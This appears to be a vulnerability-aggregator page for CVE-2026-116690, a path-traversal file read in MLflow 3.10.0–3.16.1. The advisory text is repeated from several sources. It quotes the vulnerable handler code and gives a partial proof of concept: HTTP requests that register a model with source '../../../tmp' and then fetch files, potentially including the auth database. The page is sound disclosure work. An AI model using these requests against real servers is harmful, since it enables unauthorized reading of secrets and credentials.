CVE-2026-116690
MLflow: Arbitrary file read on unauthenticated MLflow servers via prompt model version source
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.10.0 until 3.17.0, the prompt branch in _create_model_version() accepts schemeless relative sources because path validation runs only when a source has a URL scheme, and mlflow.prompt.is_prompt is interpreted by tag presence rather than a true value. A remote caller can store a server-local path as the model version artifact location and use /api/2.0/mlflow/model-versions/get-artifact to read files accessible to the MLflow server process. Default unauthenticated servers require no privileges, while basic-auth deployments are exposed to authenticated users who can create registered models. This issue is fixed in version 3.17.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
MLflow: Arbitrary file read on unauthenticated MLflow servers via prompt model version source
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.10.0 until 3.17.0, the prompt branch in _create_model_version() accepts schemeless relative sources because path validation runs only when a source has a URL scheme, and mlflow.prompt.is_prompt is interpreted by tag presence rather than a true value. A remote caller can store a server-local path as the model version artifact location and use /api/2.0/mlflow/model-versions/get-artifact to read files accessible to the MLflow server process. Default unauthenticated servers require no privileges, while basic-auth deployments are exposed to authenticated users who can create registered models. This issue is fixed in version 3.17.0.
- Record
CVE-2026-116690- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-111362
7.5
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.10.0 until 3.17.0, the prompt branch in _create_model_version() accepts schemeless relative sources because path validation runs only when a source has a URL scheme, and mlflow.prompt.is_prompt is interpreted by tag presence rather than a true value. A remote caller can store a server-local path as the model version artifact location and use /api/2.0/mlflow/model-versions/get-artifact to read files accessible to the MLflow server process. Default unauthenticated servers require no privileges, while basic-auth deployments are exposed to authenticated users who can create registered models. This issue is fixed in version 3.17.0.
- Record
EUVD-2026-111362- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-m65p-9j7q-6w33
7.5
MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source
Summary
On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.
The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the CreateModelVersion handler that rejects file:// URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as ../../etc, a plain relative name, ., a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the model-versions/get-artifact endpoint later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the mlflow.prompt.is_prompt tag rather than its value, so a false value still selected the weaker branch.
Servers using --app-name basic-auth are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.
Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by mlflow/mlflow#25870, which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be true.
Details
When creating a model version with the mlflow.prompt.is_prompt tag set to true, the request is handled by the prompt branch in _create_model_version().
mlflow/server/handlers.py:2674-2690:
is_prompt = _is_prompt_request(request_message)
if is_prompt:
source = request_message.source
parsed = urllib.parse.urlparse(source)
if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
raise MlflowException(...)
if parsed.scheme:
_validate_non_local_source_contains_relative_paths(source)
else:
if request_message.model_id:
_validate_source_model(request_message.source, request_message.model_id)
else:
_validate_source_run(request_message.source, request_message.run_id)
The prompt branch does not call _validate_source_run(), _validate_source_model(), or _validate_non_local_source_contains_relative_paths() for schemeless relative paths.
The artifact-read sink later trusts the stored source:
mlflow/server/handlers.py:2765-2782:
def get_model_version_artifact_handler():
name = request.args.get("name")
version = request.args.get("version")
path = request.args["path"]
path = validate_path_is_safe(path)
artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
...
else:
artifact_repo = get_artifact_repository(artifact_uri)
artifact_path = path
return _send_artifact(artifact_repo, artifact_path)
_send_artifact() calls artifact_repository.download_artifacts(path) and serves the resulting local file with send_file().
PoC
Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.
- Create a sentinel file on the server:
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt
- Send the following requests to the MLflow server to exploit the traversal:
First, create a registered model:
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{"name": "pwned-model"}
Next, create a prompt-tagged model version with the malicious relative source ../../../tmp:
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{
"name": "pwned-model",
"source": "../../../tmp",
"tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}
Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path…
- Record
GHSA-m65p-9j7q-6w33- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
7.5
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.10.0 until 3.17.0, the prompt branch in _create_model_version() accepts schemeless relative sources because path validation runs only when a source has a URL scheme, and mlflow.prompt.is_prompt is interpreted by tag presence rather than a true value. A remote caller can store a server-local path as the model version artifact location and use /api/2.0/mlflow/model-versions/get-artifact to read files accessible to the MLflow server process. Default unauthenticated servers require no privileges, while basic-auth deployments are exposed to authenticated users who can create registered models. This issue is fixed in version 3.17.0.
- Record
CVE-2026-116690- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
7.5
MLflow: Arbitrary file read on unauthenticated MLflow servers via prompt model version source
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.10.0 until 3.17.0, the prompt branch in _create_model_version() accepts schemeless relative sources because path validation runs only when a source has a URL scheme, and mlflow.prompt.is_prompt is interpreted by tag presence rather than a true value. A remote caller can store a server-local path as the model version artifact location and use /api/2.0/mlflow/model-versions/get-artifact to read files accessible to the MLflow server process. Default unauthenticated servers require no privileges, while basic-auth deployments are exposed to authenticated users who can create registered models. This issue is fixed in version 3.17.0.
- Record
CVE-2026-116690- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-m65p-9j7q-6w33
7.5
MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source
Summary
On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.
The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the CreateModelVersion handler that rejects file:// URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as ../../etc, a plain relative name, ., a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the model-versions/get-artifact endpoint later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the mlflow.prompt.is_prompt tag rather than its value, so a false value still selected the weaker branch.
Servers using --app-name basic-auth are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.
Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by mlflow/mlflow#25870, which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be true.
Details
When creating a model version with the mlflow.prompt.is_prompt tag set to true, the request is handled by the prompt branch in _create_model_version().
mlflow/server/handlers.py:2674-2690:
is_prompt = _is_prompt_request(request_message)
if is_prompt:
source = request_message.source
parsed = urllib.parse.urlparse(source)
if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
raise MlflowException(...)
if parsed.scheme:
_validate_non_local_source_contains_relative_paths(source)
else:
if request_message.model_id:
_validate_source_model(request_message.source, request_message.model_id)
else:
_validate_source_run(request_message.source, request_message.run_id)
The prompt branch does not call _validate_source_run(), _validate_source_model(), or _validate_non_local_source_contains_relative_paths() for schemeless relative paths.
The artifact-read sink later trusts the stored source:
mlflow/server/handlers.py:2765-2782:
def get_model_version_artifact_handler():
name = request.args.get("name")
version = request.args.get("version")
path = request.args["path"]
path = validate_path_is_safe(path)
artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
...
else:
artifact_repo = get_artifact_repository(artifact_uri)
artifact_path = path
return _send_artifact(artifact_repo, artifact_path)
_send_artifact() calls artifact_repository.download_artifacts(path) and serves the resulting local file with send_file().
PoC
Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.
- Create a sentinel file on the server:
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt
- Send the following requests to the MLflow server to exploit the traversal:
First, create a registered model:
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{"name": "pwned-model"}
Next, create a prompt-tagged model version with the malicious relative source ../../../tmp:
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{
"name": "pwned-model",
"source": "../../../tmp",
"tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}
Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path…
- Record
GHSA-m65p-9j7q-6w33- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
Affected products
Affected packages
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | MLflow 3.10.0-3.16.1 - Arbitrary File Read |
History
| Recorded | Changed | Sources |
|---|---|---|
| exploits, facts | Nuclei | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-116690 is a high vulnerability (CVSS 7.5) in Mlflow, published October 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.80%, the 78th percentile. Fixed in mlflow 3.17.0.
References
github.com/mlflow/mlflow/security/advisories/GHSA-m65p-9j7q-6w33
github.com/mlflow/mlflow/pull/25870
github.com/mlflow/mlflow/commit/81730a2ce4ebcd60d5d18f68c96f422ad7e30772
github.com/mlflow/mlflow/releases/tag/v3.17.0
github.com/advisories/GHSA-m65p-9j7q-6w33
github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116690.json
nvd.nist.gov/vuln/detail/CVE-2026-116690
github.com/mlflow/mlflow
Left out here: the rest of 2 source descriptions. The JSON record has them.